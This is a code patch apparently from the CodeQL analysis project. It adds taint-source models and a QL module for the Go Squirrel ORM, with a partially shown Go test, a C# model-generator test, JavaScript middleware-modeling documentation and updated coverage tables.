| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | semmle.label | [post] access to local variable x : SubSimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | semmle.label | access to local variable x : SubSimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | semmle.label | [post] (...) ... : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:509:15:509:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | semmle.label | [post] access to parameter x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | semmle.label | [post] ... ?? ... : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | semmle.label | access to parameter x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:516:15:516:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:517:15:517:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | semmle.label | [post] access to local variable z : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | semmle.label | [post] ... switch { ... } : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:531:15:531:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:532:15:532:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | semmle.label | access to local variable z : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:533:15:533:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | semmle.label | [post] ...! : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | semmle.label | access to parameter sc : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:539:15:539:22 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | semmle.label | [post] ... = ... : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
|
||||
| GlobalDataFlow.cs:547:15:547:21 | access to field field | semmle.label | access to field field |
|
||||
| GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | semmle.label | e : null [element] : String |
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1034,3 +1034,40 @@ public class AvoidDuplicateLifted
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public class ParameterModifiers
|
||||
{
|
||||
// contentbased-summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated
|
||||
// summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated
|
||||
public void Copy(object key, out object value)
|
||||
{
|
||||
value = key;
|
||||
}
|
||||
|
||||
// contentbased-summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated
|
||||
// summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated
|
||||
public void CopyToRef(object key, ref object value)
|
||||
{
|
||||
value = key;
|
||||
}
|
||||
|
||||
// No summaries as we disregard flow from a parameter to itself.
|
||||
// neutral=Models;ParameterModifiers;RefParamFlowToSelf;(System.Object,System.Boolean);summary;df-generated
|
||||
public void RefParamFlowToSelf(ref object value, bool b)
|
||||
{
|
||||
value = b ? value : null;
|
||||
}
|
||||
|
||||
// neutral=Models;ParameterModifiers;RefParamUse;(System.Object);summary;df-generated
|
||||
public void RefParamUse(ref object value)
|
||||
{
|
||||
var b = value is null;
|
||||
}
|
||||
|
||||
// contentbased-summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;value;dfc-generated
|
||||
// summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;taint;df-generated
|
||||
public object InReturn(in object v)
|
||||
{
|
||||
return v;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -349,6 +349,48 @@ Note that this flow is already recognized by the CodeQL JS analysis, but for thi
|
||||
- The last column, **value**, indicates the kind of flow to add. The value **value** means the input value is unchanged as
|
||||
it flows to the output.
|
||||
|
||||
|
||||
Example: Modeling properties injected by a middleware function
|
||||
--------------------------------------------------------------
|
||||
|
||||
In this example, we'll show how to model a hypothetical middleware function that adds a tainted value
|
||||
on the incoming request objects:
|
||||
|
||||
.. code-block:: js
|
||||
|
||||
const express = require('express')
|
||||
const app = express()
|
||||
|
||||
app.use(require('@example/middleware').injectData())
|
||||
|
||||
app.get('/foo', (req, res) => {
|
||||
req.data; // <-- mark 'req.data' as a taint source
|
||||
});
|
||||
|
||||
This can be achieved with the following data extension:
|
||||
|
||||
.. code-block:: yaml
|
||||
|
||||
extensions:
|
||||
- addsTo:
|
||||
pack: codeql/javascript-all
|
||||
extensible: sourceModel
|
||||
data:
|
||||
- [
|
||||
"@example/middleware",
|
||||
"Member[injectData].ReturnValue.GuardedRouteHandler.Parameter[0].Member[data]",
|
||||
"remote",
|
||||
]
|
||||
|
||||
- Since we're adding a new taint source, we add a tuple to the **sourceModel** extensible predicate.
|
||||
- The first column, **"@example/middleware"**, begins the search at imports of the hypothetical NPM package **@example/middleware**.
|
||||
- **Member[injectData]** selects accesses to the **injectData** member.
|
||||
- **ReturnValue** selects the return value of the call to **injectData**.
|
||||
- **GuardedRouteHandler** interprets the current value as a middleware function and selects all route handlers guarded by that middleware. Since the current value is passd to **app.use()**, the callback subsequently passed to **app.get()** is seen as a guarded route handler.
|
||||
- **Parameter[0]** selects the first parameter of the callback (the parameter named **req**).
|
||||
- **Member[data]** selects accesses to the **data** property of the **req** object.
|
||||
- Finally, the kind **remote** indicates that this is considered a source of remote flow.
|
||||
|
||||
Reference material
|
||||
------------------
|
||||
|
||||
@@ -494,6 +536,12 @@ Components related to decorators:
|
||||
- **DecoratedParameter** selects a parameter that is decorated by the current value.
|
||||
- **DecoratedMember** selects a method, field, or accessor that is decorated by the current value.
|
||||
|
||||
Additionally there is a component related to middleware functions:
|
||||
|
||||
- **GuardedRouteHandler** interprets the current value as a middleware function, and selects any route handler function that comes after it in the routing hierarchy.
|
||||
This can be used to model properties injected onto request and response objects, such as **req.db** after a middleware that injects a database connection.
|
||||
Note that this currently over-approximates the set of route handlers but may be made more accurate in the future.
|
||||
|
||||
Additional notes about the syntax of operands:
|
||||
|
||||
- Multiple operands may be given to a single component, as a shorthand for the union of the operands. For example, **Member[foo,bar]** matches the union of **Member[foo]** and **Member[bar]**.
|
||||
|
||||
@@ -21,7 +21,7 @@ errors,,,3,,,,,,,,,,,,,,,,,,,,,,,3,
|
||||
expvar,,,6,,,,,,,,,,,,,,,,,,,,,,,6,
|
||||
fmt,3,,16,,,,3,,,,,,,,,,,,,,,,,,,16,
|
||||
github.com/ChrisTrenkamp/goxpath,3,,,,,,,,,,,,,,,,,,3,,,,,,,,
|
||||
github.com/Masterminds/squirrel,32,,,,,,,,,,,,,,32,,,,,,,,,,,,
|
||||
github.com/Masterminds/squirrel,32,27,,,,,,,,,,,,,32,,,,,,27,,,,,,
|
||||
github.com/Sirupsen/logrus,145,,,,,,145,,,,,,,,,,,,,,,,,,,,
|
||||
github.com/antchfx/htmlquery,4,,,,,,,,,,,,,,,,,,4,,,,,,,,
|
||||
github.com/antchfx/jsonquery,4,,,,,,,,,,,,,,,,,,4,,,,,,,,
|
||||
@@ -77,7 +77,7 @@ github.com/kataras/iris/server/web/context,6,,,,,,,,6,,,,,,,,,,,,,,,,,,
|
||||
github.com/kataras/jwt,5,,,,5,,,,,,,,,,,,,,,,,,,,,,
|
||||
github.com/kelseyhightower/envconfig,,6,,,,,,,,,,,,,,,,,,,,6,,,,,
|
||||
github.com/labstack/echo,3,12,2,,,,,,2,,,,,,,1,,,,,,,,12,,2,
|
||||
github.com/lann/squirrel,32,,,,,,,,,,,,,,32,,,,,,,,,,,,
|
||||
github.com/lann/squirrel,32,27,,,,,,,,,,,,,32,,,,,,27,,,,,,
|
||||
github.com/lestrrat-go/jwx,2,,,,2,,,,,,,,,,,,,,,,,,,,,,
|
||||
github.com/lestrrat-go/libxml2/parser,3,,,,,,,,,,,,,,,,,,3,,,,,,,,
|
||||
github.com/lestrrat/go-jwx/jwk,1,,,,1,,,,,,,,,,,,,,,,,,,,,,
|
||||
@@ -106,7 +106,7 @@ google.golang.org/protobuf/internal/encoding/text,,,1,,,,,,,,,,,,,,,,,,,,,,,1,
|
||||
google.golang.org/protobuf/internal/impl,,,2,,,,,,,,,,,,,,,,,,,,,,,2,
|
||||
google.golang.org/protobuf/proto,,,8,,,,,,,,,,,,,,,,,,,,,,,8,
|
||||
google.golang.org/protobuf/reflect/protoreflect,,,1,,,,,,,,,,,,,,,,,,,,,,,1,
|
||||
gopkg.in/Masterminds/squirrel,32,,,,,,,,,,,,,,32,,,,,,,,,,,,
|
||||
gopkg.in/Masterminds/squirrel,32,27,,,,,,,,,,,,,32,,,,,,27,,,,,,
|
||||
gopkg.in/couchbase/gocb,8,22,48,,,,,8,,,,,,,,,,,,,22,,,,,48,
|
||||
gopkg.in/glog,90,,,,,,90,,,,,,,,,,,,,,,,,,,,
|
||||
gopkg.in/go-jose/go-jose,3,,4,,2,1,,,,,,,,,,,,,,,,,,,,4,
|
||||
|
||||
|
@@ -31,7 +31,7 @@ Go framework & library support
|
||||
`MongoDB Go Driver <https://www.mongodb.com/docs/drivers/go/current/>`_,``go.mongodb.org/mongo-driver*``,11,5,14
|
||||
`Revel <http://revel.github.io/>`_,"``github.com/revel/revel*``, ``github.com/robfig/revel*``",46,20,4
|
||||
`SendGrid <https://github.com/sendgrid/sendgrid-go>`_,``github.com/sendgrid/sendgrid-go*``,,1,
|
||||
`Squirrel <https://github.com/Masterminds/squirrel>`_,"``github.com/Masterminds/squirrel*``, ``github.com/lann/squirrel*``, ``gopkg.in/Masterminds/squirrel``",,,96
|
||||
`Squirrel <https://github.com/Masterminds/squirrel>`_,"``github.com/Masterminds/squirrel*``, ``github.com/lann/squirrel*``, ``gopkg.in/Masterminds/squirrel``",81,,96
|
||||
`Standard library <https://pkg.go.dev/std>`_,"````, ``archive/*``, ``bufio``, ``bytes``, ``cmp``, ``compress/*``, ``container/*``, ``context``, ``crypto``, ``crypto/*``, ``database/*``, ``debug/*``, ``embed``, ``encoding``, ``encoding/*``, ``errors``, ``expvar``, ``flag``, ``fmt``, ``go/*``, ``hash``, ``hash/*``, ``html``, ``html/*``, ``image``, ``image/*``, ``index/*``, ``io``, ``io/*``, ``log``, ``log/*``, ``maps``, ``math``, ``math/*``, ``mime``, ``mime/*``, ``net``, ``net/*``, ``os``, ``os/*``, ``path``, ``path/*``, ``plugin``, ``reflect``, ``reflect/*``, ``regexp``, ``regexp/*``, ``slices``, ``sort``, ``strconv``, ``strings``, ``sync``, ``sync/*``, ``syscall``, ``syscall/*``, ``testing``, ``testing/*``, ``text/*``, ``time``, ``time/*``, ``unicode``, ``unicode/*``, ``unsafe``, ``weak``",52,609,104
|
||||
`XORM <https://xorm.io>`_,"``github.com/go-xorm/xorm*``, ``xorm.io/xorm*``",,,68
|
||||
`XPath <https://github.com/antchfx/xpath>`_,``github.com/antchfx/xpath*``,,,4
|
||||
@@ -74,5 +74,5 @@ Go framework & library support
|
||||
`yaml <https://gopkg.in/yaml.v3>`_,``gopkg.in/yaml*``,,9,
|
||||
`zap <https://go.uber.org/zap>`_,``go.uber.org/zap*``,,11,33
|
||||
Others,``github.com/kanikanema/gorqlite``,8,2,24
|
||||
Totals,,560,1048,1556
|
||||
Totals,,641,1048,1556
|
||||
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Added `database` source models for the `github.com/Masterminds/squirrel` ORM package.
|
||||
|
||||
@@ -6,6 +6,37 @@ extensions:
|
||||
- ["squirrel", "github.com/Masterminds/squirrel"]
|
||||
- ["squirrel", "gopkg.in/Masterminds/squirrel"]
|
||||
- ["squirrel", "github.com/lann/squirrel"]
|
||||
- addsTo:
|
||||
pack: codeql/go-all
|
||||
extensible: sourceModel
|
||||
data:
|
||||
- ["group:squirrel", "", True, "QueryContextWith", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "", True, "QueryRowContextWith", "", "", "ReturnValue", "database", "manual"]
|
||||
- ["group:squirrel", "", True, "QueryRowWith", "", "", "ReturnValue", "database", "manual"]
|
||||
- ["group:squirrel", "", True, "QueryWith", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "DeleteBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "DeleteBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "DeleteBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "InsertBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "InsertBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "InsertBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "InsertBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "QueryRower", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "QueryRowerContext", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "Queryer", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "QueryerContext", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "SelectBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "SelectBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "SelectBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "SelectBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "StdSql", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "StdSql", True, "QueryRow", "", "", "ReturnValue", "database", "manual"]
|
||||
- ["group:squirrel", "StdSqlCtx", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "StdSqlCtx", True, "QueryRowContext", "", "", "ReturnValue", "database", "manual"]
|
||||
- ["group:squirrel", "UpdateBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "UpdateBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "UpdateBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- ["group:squirrel", "UpdateBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
|
||||
- addsTo:
|
||||
pack: codeql/go-all
|
||||
extensible: sinkModel
|
||||
@@ -49,3 +80,5 @@ extensions:
|
||||
- ["group:squirrel", "UpdateBuilder", True, "Suffix", "", "", "Argument[0]", "sql-injection", "manual"]
|
||||
- ["group:squirrel", "UpdateBuilder", True, "Table", "", "", "Argument[0]", "sql-injection", "manual"]
|
||||
# UpdateBuilder.Where has to be modeled in QL to avoid FPs when a non-string argument is used
|
||||
|
||||
# There are summary models for Row.Scan, RowScanner.Scan, {Insert,Delete,Select,Update}Builder.Scan and {Insert,Delete,Select,Update}Builder.ScanContext modeled in QL
|
||||
@@ -57,6 +57,7 @@ import semmle.go.frameworks.Protobuf
|
||||
import semmle.go.frameworks.Revel
|
||||
import semmle.go.frameworks.Spew
|
||||
import semmle.go.frameworks.SQL
|
||||
import semmle.go.frameworks.Squirrel
|
||||
import semmle.go.frameworks.Stdlib
|
||||
import semmle.go.frameworks.SystemCommandExecutors
|
||||
import semmle.go.frameworks.Testing
|
||||
|
||||
85
go/ql/lib/semmle/go/frameworks/Squirrel.qll
Normal file
85
go/ql/lib/semmle/go/frameworks/Squirrel.qll
Normal file
@@ -0,0 +1,85 @@
|
||||
/**
|
||||
* Provides classes modeling security-relevant aspects of the `squirrel` ORM package.
|
||||
*/
|
||||
|
||||
import go
|
||||
|
||||
/**
|
||||
* Provides classes modeling security-relevant aspects of the `squirrel` ORM package.
|
||||
*/
|
||||
module Squirrel {
|
||||
private string packagePath() {
|
||||
result =
|
||||
package([
|
||||
"github.com/Masterminds/squirrel",
|
||||
"github.com/lann/squirrel",
|
||||
"gopkg.in/Masterminds/squirrel",
|
||||
], "")
|
||||
}
|
||||
|
||||
private class RowScan extends TaintTracking::FunctionModel, Method {
|
||||
FunctionInput inp;
|
||||
FunctionOutput outp;
|
||||
|
||||
RowScan() {
|
||||
// signature: func (r *Row) Scan(dest ...interface{}) error
|
||||
this.hasQualifiedName(packagePath(), "Row", "Scan") and
|
||||
inp.isReceiver() and
|
||||
outp.isParameter(_)
|
||||
}
|
||||
|
||||
override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
|
||||
input = inp and output = outp
|
||||
}
|
||||
}
|
||||
|
||||
private class RowScannerScan extends TaintTracking::FunctionModel, Method {
|
||||
FunctionInput inp;
|
||||
FunctionOutput outp;
|
||||
|
||||
RowScannerScan() {
|
||||
// signature: func (rs *RowScanner) Scan(dest ...interface{}) error
|
||||
this.hasQualifiedName(packagePath(), "RowScanner", "Scan") and
|
||||
inp.isReceiver() and
|
||||
outp.isParameter(_)
|
||||
}
|
||||
|
||||
override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
|
||||
input = inp and output = outp
|
||||
}
|
||||
}
|
||||
|
||||
private class BuilderScan extends TaintTracking::FunctionModel, Method {
|
||||
FunctionInput inp;
|
||||
FunctionOutput outp;
|
||||
|
||||
BuilderScan() {
|
||||
// signature: func (b {Insert,Delete,Select,Update}Builder) Scan(dest ...interface{}) error
|
||||
this.hasQualifiedName(packagePath(),
|
||||
["DeleteBuilder", "InsertBuilder", "SelectBuilder", "UpdateBuilder"], "Scan") and
|
||||
inp.isReceiver() and
|
||||
outp.isParameter(_)
|
||||
}
|
||||
|
||||
override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
|
||||
input = inp and output = outp
|
||||
}
|
||||
}
|
||||
|
||||
private class BuilderScanContext extends TaintTracking::FunctionModel, Method {
|
||||
FunctionInput inp;
|
||||
FunctionOutput outp;
|
||||
|
||||
BuilderScanContext() {
|
||||
// signature: func (b {Insert,Delete,Select,Update}Builder) ScanContext(ctx context.Context, dest ...interface{}) error
|
||||
this.hasQualifiedName(packagePath(),
|
||||
["DeleteBuilder", "InsertBuilder", "SelectBuilder", "UpdateBuilder"], "ScanContext") and
|
||||
inp.isReceiver() and
|
||||
exists(int i | i > 0 | outp.isParameter(i))
|
||||
}
|
||||
|
||||
override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
|
||||
input = inp and output = outp
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -8,9 +8,11 @@ require (
|
||||
github.com/couchbase/gocb v1.6.7
|
||||
github.com/couchbase/gocb/v2 v2.9.4
|
||||
github.com/jmoiron/sqlx v1.4.0
|
||||
github.com/Masterminds/squirrel v1.5.4
|
||||
github.com/rqlite/gorqlite v0.0.0-20250128004930-114c7828b55a
|
||||
go.mongodb.org/mongo-driver v1.17.3
|
||||
gorm.io/gorm v1.25.12
|
||||
github.com/nonexistent/sources v0.0.0-20250300000000-000000000000
|
||||
)
|
||||
|
||||
require (
|
||||
|
||||
@@ -3,4 +3,9 @@ extensions:
|
||||
pack: codeql/threat-models
|
||||
extensible: threatModelConfiguration
|
||||
data:
|
||||
- ["database", true, 0]
|
||||
- ["database", true, 0]
|
||||
- addsTo:
|
||||
pack: codeql/go-all
|
||||
extensible: sourceModel
|
||||
data:
|
||||
- ["github.com/nonexistent/sources", "", False, "Source", "", "", "ReturnValue", "database", "manual"]
|
||||
@@ -5,3 +5,9 @@ extensions:
|
||||
extensible: threatModelConfiguration
|
||||
data:
|
||||
- ["database", true, 0]
|
||||
|
||||
- addsTo:
|
||||
pack: codeql/go-all
|
||||
extensible: sourceModel
|
||||
data:
|
||||
- ["github.com/nonexistent/sources", "", False, "Source", "", "", "ReturnValue", "database", "manual"]
|
||||
@@ -0,0 +1,291 @@
|
||||
package test
|
||||
|
||||
//go:generate depstubber -vendor github.com/Masterminds/squirrel DeleteBuilder,InsertBuilder,QueryRower,QueryRowerContext,Queryer,QueryerContext,SelectBuilder,StdSql,StdSqlCtx,UpdateBuilder QueryContextWith,QueryRowContextWith,QueryRowWith,QueryWith
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/Masterminds/squirrel"
|
||||
src "github.com/nonexistent/sources"
|
||||
)
|
||||
|
||||
func test_Masterminds_squirrel_QueryRower(ctx context.Context, db squirrel.QueryRower, sqlizer squirrel.Sqlizer) {
|
||||
scanner := db.QueryRow("") // $ source
|
||||
|
||||
var r1, r2, r3 string
|
||||
scanner.Scan(&r1, &r2, &r3)
|
||||
|
||||
sink(r1) // $ hasTaintFlow="r1"
|
||||
sink(r2) // $ hasTaintFlow="r2"
|
||||
sink(r3) // $ hasTaintFlow="r3"
|
||||
|
||||
scanner2 := squirrel.QueryRowWith(db, sqlizer) // $ source
|
||||
|
||||
var r4, r5, r6 string
|
||||
scanner2.Scan(&r4, &r5, &r6)
|
||||
|
||||
sink(r4) // $ hasTaintFlow="r4"
|
||||
sink(r5) // $ hasTaintFlow="r5"
|
||||
sink(r6) // $ hasTaintFlow="r6"
|
||||
}
|
||||
|
||||
func test_Masterminds_squirrel_QueryRowerContext(ctx context.Context, db squirrel.QueryRowerContext, sqlizer squirrel.Sqlizer) {
|
||||
scanner := db.QueryRowContext(ctx, "") // $ source
|
||||
|
||||
var r1, r2, r3 string
|
||||
scanner.Scan(&r1, &r2, &r3)
|
||||
|
||||
sink(r1) // $ hasTaintFlow="r1"
|
||||
sink(r2) // $ hasTaintFlow="r2"
|
||||
sink(r3) // $ hasTaintFlow="r3"
|
||||
|
||||
scanner2 := squirrel.QueryRowContextWith(ctx, db, sqlizer) // $ source
|
||||
|
||||
var r4, r5, r6 string
|
||||
scanner2.Scan(&r4, &r5, &r6)
|
||||
|
||||
sink(r4) // $ hasTaintFlow="r4"
|
||||
sink(r5) // $ hasTaintFlow="r5"
|
||||
sink(r6) // $ hasTaintFlow="r6"
|
||||
}
|
||||
|
||||
func test_Masterminds_squirrel_Queryer(ctx context.Context, db squirrel.Queryer, sqlizer squirrel.Sqlizer) {
|
||||
v1, err := db.Query("") // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sink(v1) // $ hasTaintFlow="v1"
|
||||
|
||||
v2, err := squirrel.QueryWith(db, sqlizer) // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sink(v2) // $ hasTaintFlow="v2"
|
||||
}
|
||||
|
||||
func test_Masterminds_squirrel_QueryerContext(ctx context.Context, db squirrel.QueryerContext, sqlizer squirrel.Sqlizer) {
|
||||
v1, err := db.QueryContext(ctx, "") // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sink(v1) // $ hasTaintFlow="v1"
|
||||
|
||||
v2, err := squirrel.QueryContextWith(ctx, db, sqlizer) // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sink(v2) // $ hasTaintFlow="v2"
|
||||
}
|
||||
|
||||
// StdSqlCtx extends StdSql so we can test both with a StdSqlCtx
|
||||
func test_Masterminds_squirrel_StdSql_StdSqlCtx(ctx context.Context, std squirrel.StdSqlCtx) {
|
||||
v1, err := std.Query("") // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sink(v1) // $ hasTaintFlow="v1"
|
||||
|
||||
v2, err := std.QueryContext(ctx, "") // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
sink(v2) // $ hasTaintFlow="v2"
|
||||
|
||||
s3 := std.QueryRow("") // $ source
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var r31, r32, r33 string
|
||||
s3.Scan(&r31, &r32, &r33)
|
||||
|
||||
sink(r31) // $ hasTaintFlow="r31"
|
||||
sink(r32) // $ hasTaintFlow="r32"
|
||||
sink(r33) // $ hasTaintFlow="r33"
|
||||
|
||||
s4 := std.QueryRowContext(ctx, "") // $ source
|
||||
|
||||
var r41, r42, r43 string
|
||||
s4.Scan(&r41, &r42, &r43)
|
||||
|
||||
sink(r41) // $ hasTaintFlow="r41"
|
||||
sink(r42) // $ hasTaintFlow="r42"
|
||||
sink(r43) // $ hasTaintFlow="r43"
|
||||
}
|
||||
|
||||
func test_Masterminds_squirrel_DeleteBuilder(ctx context.Context, builder squirrel.DeleteBuilder) {
|
||||
v1, err := builder.Query() // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sink(v1) // $ hasTaintFlow="v1"
|
||||
|
||||
v2, err := builder.QueryContext(ctx) // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sink(v2) // $ hasTaintFlow="v2"
|
||||
|
||||
s3 := builder.QueryRowContext(ctx) // $ source
|
||||
|
||||
var r31, r32, r33 string
|
||||
s3.Scan(&r31, &r32, &r33)
|
||||
|
||||
sink(r31) // $ hasTaintFlow="r31"
|
||||
sink(r32) // $ hasTaintFlow="r32"
|
||||
sink(r33) // $ hasTaintFlow="r33"
|
||||
|
||||
builder2 := src.Source[squirrel.DeleteBuilder]() // $ source
|
||||
|
||||
var r41, r42, r43 string
|
||||
builder2.ScanContext(ctx, &r41, &r42, &r43)
|
||||
|
||||
sink(r41) // $ hasTaintFlow="r41"
|
||||
sink(r42) // $ hasTaintFlow="r42"
|
||||
sink(r43) // $ hasTaintFlow="r43"
|
||||
}
|
||||
|
||||
func test_Masterminds_squirrel_InsertBuilder(ctx context.Context, builder squirrel.InsertBuilder) {
|
||||
v1, err := builder.Query() // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sink(v1) // $ hasTaintFlow="v1"
|
||||
|
||||
v2, err := builder.QueryContext(ctx) // $ source
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
sink(v2) // $ hasTaintFlow="v2"
|
||||
|
||||
s3 := builder.QueryRow() // $ source
|
||||
|
||||
var r31, r32, r33 string
|
||||
s3.Scan(&r31, &r32, &r33)
|
||||
|
||||
sink(r31) // $ hasTaintFlow="r31"
|
||||
sink(r32) // $ hasTaintFlow="r32"
|
||||
sink(r33) // $ hasTaintFlow="r33"
|
||||
|
||||
s4 := builder.QueryRowContext(ctx) // $ source
|
||||
|
||||
var r41, r42, r43 string
|
||||
s4.Scan(&r41, &r42, &r43)
|
||||
|
||||
sink(r41) // $ hasTaintFlow="r41"
|
||||
sink(r42) // $ hasTaintFlow="r42"
|
||||
sink(r43) // $ hasTaintFlow="r43"
|
||||
|
||||
builder2 := src.Source[squirrel.InsertBuilder]() // $ source
|
||||
|
||||
var r51, r52, r53 string
|
||||
builder2.Scan(&r51, &r52, &r53)
|
||||
|
||||
sink(r51) // $ hasTaintFlow="r51"
|
||||
sink(r52) // $ hasTaintFlow="r52"
|
||||
sink(r53) // $ hasTaintFlow="r53"
|
||||
|
||||
var r61, r62, r63 string
|
||||
builder2.ScanContext(ctx, &r61, &r62, &r63)
|
||||
|
||||
sink(r61) // $ hasTaintFlow="r61"
|
||||
sink(r62) // $ hasTaintFlow="r62"
|
||||
